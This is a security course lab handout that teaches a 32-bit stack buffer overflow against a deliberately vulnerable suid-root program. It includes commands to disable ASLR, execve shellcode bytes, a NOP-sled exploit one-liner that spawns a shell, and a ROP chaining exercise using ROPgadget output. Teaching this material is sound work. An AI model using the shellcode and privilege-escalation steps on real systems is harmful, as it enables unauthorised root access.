Address space layout randomization (ASLR) is a computer security technique involved in protection from buffer overflow attacks. ASLR randomly arranges the address space positions of key data areas of a process, including the base of the executable and the positions of the stack, heap, and libraries. In short, when ASLR is turned on, the addresses of the stack, etc will be randomized. This causes a lot of difficulty in predicting addresses while exploiting.
To disable ASLR:
echo "0" | [sudo] dd of=/proc/sys/kernel/randomize_va_space
To enable ASLR:
echo "2" | [sudo] dd of=/proc/sys/kernel/randomize_va_space
Scenario:
You have access to a system with an executable binary that is owned by root, has the suid bit set, and is vulnerable to buffer overflow. This section will show you step by step how to exploit it to gain shell access.
Install again libc6-dev-i386
library:
$ sudo apt install libc6-dev-i386
We will also need gdb-peda, which will be installed later (see the Setup from the latest lab).
Create a user test without root privileges:
$ sudo useradd -m test -s /bin/bash $ sudo su test $ cd ~
Create vuln.c
in the home directory for test
user, containing the following code:
#include <stdio.h> #include <string.h> void func(char *name) { char buf[100]; strcpy(buf, name); printf("Welcome %s\n", buf); } int main(int argc, char *argv[]) { func(argv[1]); return 0; }
Compile it:
gcc vuln.c -o vuln -fno-stack-protector -m32 -z execstack -fno-stack-protector - disable the stack protection -m32 - make sure that the compiled binary is 32 bit -z execstack - makes the stack executable
Set the suid bit and owner to root:
sudo chown root:test vuln sudo chmod 550 vuln sudo chmod u+s vuln
Turn off ASLR and then log into test
user.
Disassemble using objdump in order to analyze the program:
objdump -d -M intel vuln
Looking at the disassembly of func
, it can be observed that buf
lies at ebp - 0x6c
. Hence, 108 bytes are allocated for buf
in the stack, the next 4 bytes would be the saved ebp
pointer of the previous stack frame, and the next 4 bytes will be the return address.
What happens if the program receives as argument a buffer containing 116 As?
./vuln $(python -c 'print 116 * "A"')
Use gdb
to discover the address where the program is crashing. What do you observe? Why is this happening?
hint: You might need to re-install PEDA as the test
user.
We will create a shellcode that spawns a shell. First create shellcode.asm with the following code:
xor eax, eax ;Clearing eax register push eax ;Pushing NULL bytes push 0x68732f2f ;Pushing //sh push 0x6e69622f ;Pushing /bin mov ebx, esp ;ebx now has address of /bin//sh push eax ;Pushing NULL byte mov edx, esp ;edx now has address of NULL byte push ebx ;Pushing address of /bin//sh mov ecx, esp ;ecx now has address of address ;of /bin//sh byte mov al, 11 ;syscall number of execve is 11 int 0x80 ;Make the system call
Install nasm and compile shellcode using it:
nasm -f elf shellcode.asm
Use objdump to get the shellcode bytes:
objdump -d -M intel shellcode.o
Extracting the bytes gives us the shellcode:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
In this example buf
seems to be the perfect place to inject the shellcode above. We can insert the shellcode by passing it inside the first parameter while running vuln
. But how do we know what address buf
will be loaded in stack? That’s where gdb
will help us. As ASLR is disabled we are sure that no matter how many times the binary is run, the address of buf
will not change.
Run vuln
using gdb
:
vampire@linux:/home/test$ gdb -q vuln Reading symbols from vuln...(no debugging symbols found)...done. (gdb) break func Breakpoint 1 at 0x8048456 (gdb) run $(python -c 'print "A"*116') Starting program: /home/test/vuln $(python -c 'print "A"*116') Breakpoint 1, 0x08048456 in func () (gdb) print $ebp $1 = (void *) 0xffffce78 (gdb) print $ebp - 0x6c $2 = (void *) 0xffffce0c
The above commands set a breakpoint at the func
function and the start the binary with a payload of length 116 as the argument. Printing the address ebp - 0x6c
shows that buf
was located at 0xffffce0c
. However this need not be the address of buf
when we run the program outside of gdb
. This is because things like environment variables and the name of the program along with arguments are also pushed on the stack. Although the stack starts at the same address (because of ASLR disabled), the difference in the method of running the program will result in the difference of the address of buf
. This difference will be around a few bytes, but we will later demonstrate how to take care of it.
Note: The length of the payload will have an effect on the location of buf
as the payload itself is also pushed on the stack (it is part of the arguments). We are using one of length 116, which will be the length of the final payload that we’ll be passing.
This is the easiest part. We have the shellcode in memory and know its address (with an error of a few bytes). We have already found out that vuln
is vulnerable to buffer overflow and we can modify the return address for function func
.
Let’s insert the shellcode at the end of the argument string so its address is equal to the address of buf + some length. Here’s our shellcode:
\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80
Length of shellcode = 25 bytes
We also discovered that return address starts after the first 112 bytes of buf
.
We’ll fill the first 40 bytes with NOP instructions, constructing a NOP Sled.
NOP Sled is a sequence of NOP (no-operation) instructions meant to “slide” the CPU’s instruction execution flow to its final, desired, destination whenever the program branches to a memory address anywhere on the sled. Basically, whenever the CPU sees a NOP instruction, it slides down to the next instruction.
The reason for inserting a NOP sled before the shellcode is that now we can transfer execution flow to anyplace within these 40 bytes. The processor will keep on executing the NOP instructions until it finds the shellcode. We need not know the exact address of the shellcode. This takes care of the earlier mentioned problem of not knowing the address of buf exactly.
We will make the processor jump to the address of buf
(taken from gdb’s output) + 20 bytes to get somewhere in the middle of the NOP sled.
0xffffce0c + 20 = 0xffffce20
We can fill the rest 47 (112 - 25 - 40) bytes with random data, say the ‘A’ character.
Final payload structure:
[40 bytes of NOP - sled] [25 bytes of shellcode] [47 times ‘A’ will occupy 49 bytes] [4 bytes pointing in the middle of the NOP - sled: 0xffffce20]
test@linux ~ $ ./vuln $(python -c 'print "\x90"*40 + "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x89\xe2\x53\x89\xe1\xb0\x0b\xcd\x80" + "A"*47 + "\x20\xce\xff\xff"') Welcome ����������������������������������������j X�Rhn/shh//bi��RS��̀AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA4��� # whoami test
Congratulations! You’ve got root access.
If it still won't work, the easiest solution is to dump the stack address from the program:
// insert this at the beginning of `func`: printf("Stack addr: %04X\n", &buf);
Note that this trick may seem artificial but, in real-world exploits, if the attacker can convince the program to print its stack (e.g., from an error handler), then he can easily calculate the relevant address offsets.
Try to enable ASLR and re-run the exploit. What happens?
If you want have a cleaner way to exploit binaries you can use a python script with pwntools package.
See on this link how to install pwntools package (be patient, the installation might take some minutes :) ).
Here is a sample solution you can complete to get to the same result as above. You will need to disable ASLR again.
To summarize, we overflowed the buffer and modified the return address to point near the start of the buffer in the stack. The buffer itself started with a NOP sled followed by shellcode which got executed. The atack was successful only with ASLR turned off, as the start of the stack wasn’t randomized each time the program was executed. This enabled us to first run the program in gdb to know the address of buffer.
We got the following vulerable code:
#include <stdio.h> void surprise(int b){ if (b == 0x87654321) { puts("SURPRISE\n"); system("/bin/sh"); } else { puts("Surprise found, but the arg is not the right one!"); } } void secret(int a){ if (a == 0x12345678) { puts("Nice! Now, can you find the surprise?\n"); } else { puts("Secret accessed, but the arg is not the right one!"); } } void run(){ char buf[32]; printf("Tell me your name: "); fflush(stdout); fgets(buf, 128, stdin); printf("Hello, %s\n", buf); } int main(){ run(); return 0; }
And to compile it we use:
$ gcc rop.c -o vuln32 -fno-stack-protector -m32 -g -no-pie
What we want to achieve is to call the secret() function first and then the surprise() function in a way that they don't interfere with each other. The problem is that these functions require some arguments. So how can we do it, given that the stack is full of other garbage?
We use ROPs. In order to chain multiple function calls we need to arrange the stack to be fit for our next function. For this we need to artificially clean the stack. We can do this by searching for a useful set of instruction pointers with ROPgadget (we'll get to that later).
In other words we need to pop the arg and then jump to the next function. We can search for a “pop <?any>; ret” set of instructions. This is called a ROP gadget (install the package on VM using this link - note: skip python3-pip installation as it is already installed). We can find what is available in our program running:
$ ROPgadget --binary vuln32 Gadgets information ============================================================ 0x0804917a : adc al, 0x68 ; sub al, 0xc0 ; add al, 8 ; call eax 0x080491c6 : adc byte ptr [eax + 0x68], dl ; sub al, 0xc0 ; add al, 8 ; call edx 0x0804926c : adc byte ptr [eax - 0x3603a275], dl ; ret ... 0x0804926f : pop ebp ; cld ; leave ; ret 0x080493c3 : pop ebp ; ret <=== //we look for sets like this 0x080493c0 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret 0x08049022 : pop ebx ; ret <=== //or like this 0x080493c2 : pop edi ; pop ebp ; ret 0x080493c1 : pop esi ; pop edi ; pop ebp ; ret ... ...
This (code pointer to) rop gadget needs to be placed in the return address of the previous function (because it is executable) so that it cleans or place the arguments and finally jump to the next piece. In this way we can consider our payload as a chain containing:
<padding until first return addr> + <chain> + <chain> + ...
And a chain piece would look like:
<address_of_function> + <ROP gadget> + <arg> + <arg> ...
Recompile rop.c prog:
gcc rop.c -o vuln64 -fno-stack-protector -no-pie
Please take a minute to fill in the feedback form for this lab.